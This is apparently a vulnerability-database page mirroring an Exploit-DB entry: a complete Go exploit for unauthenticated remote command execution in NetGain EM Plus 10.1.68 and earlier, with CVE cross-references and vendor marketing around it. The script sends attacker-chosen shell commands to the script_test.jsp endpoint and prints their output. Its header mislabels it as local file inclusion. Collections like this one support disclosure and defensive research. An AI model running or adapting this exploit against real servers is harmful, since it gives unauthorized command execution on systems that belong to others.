Lucene search
+L

NetGain EM Plus 10.1.68 - Remote Command Execution

🗓️ 16 Sep 2019 00:00:00Reported by azamsType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 48 Views

NetGain EM Plus <= v10.1.68 - Unauthorized Local File Inclusio

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2019-25468
11 Mar 202618:23
–attackerkb
cnnvd
CNNVD
NetGain EM Plus security vulnerabilities
11 Mar 202600:00
–cnnvd
cve
CVE
CVE-2019-25468
11 Mar 202618:23
–cve
cvelist
Cvelist
CVE-2019-25468 NetGain EM Plus 10.1.68 Remote Code Execution via script_test.jsp
11 Mar 202618:23
–cvelist
euvd
EUVD
EUVD-2019-19740
11 Mar 202621:31
–euvd
nvd
NVD
CVE-2019-25468
11 Mar 202619:16
–nvd
ptsecurity
Positive Technologies
PT-2026-24766
11 Mar 202600:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2019-25468: Improper Control of Generation of Code
11 Mar 202600:00
–rapid7
redhatcve
RedhatCVE
CVE-2019-25468
26 Mar 202614:56
–redhatcve
vulnrichment
Vulnrichment
CVE-2019-25468 NetGain EM Plus 10.1.68 Remote Code Execution via script_test.jsp
11 Mar 202618:23
–vulnrichment
/********************************************************************************
# Exploit Title: NetGain EM Plus <= v10.1.68 - Unauthorized Local File Inclusion
# Date: 15 September 2019
# Exploit Author: azams / @TheRealAzams
# Vendor Homepage: http://netgain-systems.com
# Software Link: http://www.netgain-systems.com/free/
# Version: v10.1.68
# Tested on: Linux
#
# Install golang: https://golang.org/doc/install
# Compile exploit: go build exploit.go
# Run exploit without compiling: go run exploit.go
# Shouts: Rix, Channisa, Ridho7ul & Horangi!
*********************************************************************************/
package main

import (
	"crypto/tls"
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"os"
	"strings"
)

var (
	target string
	port   string
	cmd    string
)

func main() {
	for i := range os.Args {
		if os.Args[i] == "-u" {
			target = os.Args[i+1]
		} else if os.Args[i] == "-p" {
			port = os.Args[i+1]
		} else if os.Args[i] == "-cmd" {
			cmd = os.Args[i+1]
		}
	}
	if target != "" || port != "" || cmd != "" {
		cmd = "type=sh&content=%232Fbin%2Fsh%0Aecho+'0xdeadnoob'%0a" + cmd + "%0aecho+'0xdeadnoob'&args=&count=0&ip=localhost"
		status, body := exploit()
		if strings.Contains(status, "200") {
			fmt.Println("Status Code: " + status)
			result := strings.Split(body, "0xdeadnoob")
			fmt.Println("Result: \n" + strings.Trim(result[1], "\n"))
			return
		}
		fmt.Println("Exploit failed!")
	} else {
		fmt.Println("Usage: ./exploit -u http://127.0.0.1 -p 8181 -cmd 'id;'")
	}
}

func exploit() (string, string) {
	tbTransport := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}
	client := &http.Client{Transport: tbTransport}
	datas, err := url.ParseQuery(cmd)
	req, err := http.NewRequest("POST", target+":"+port+"/u/jsp/designer/script_test.jsp", strings.NewReader(datas.Encode()))
	req.Header.Set("Content-type", "application/x-www-form-urlencoded")
	resp, err := client.Do(req)
	if err != nil {
		panic(err)
	}
	defer resp.Body.Close()
	body, _ := ioutil.ReadAll(resp.Body)
	return resp.Status, string(body)
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation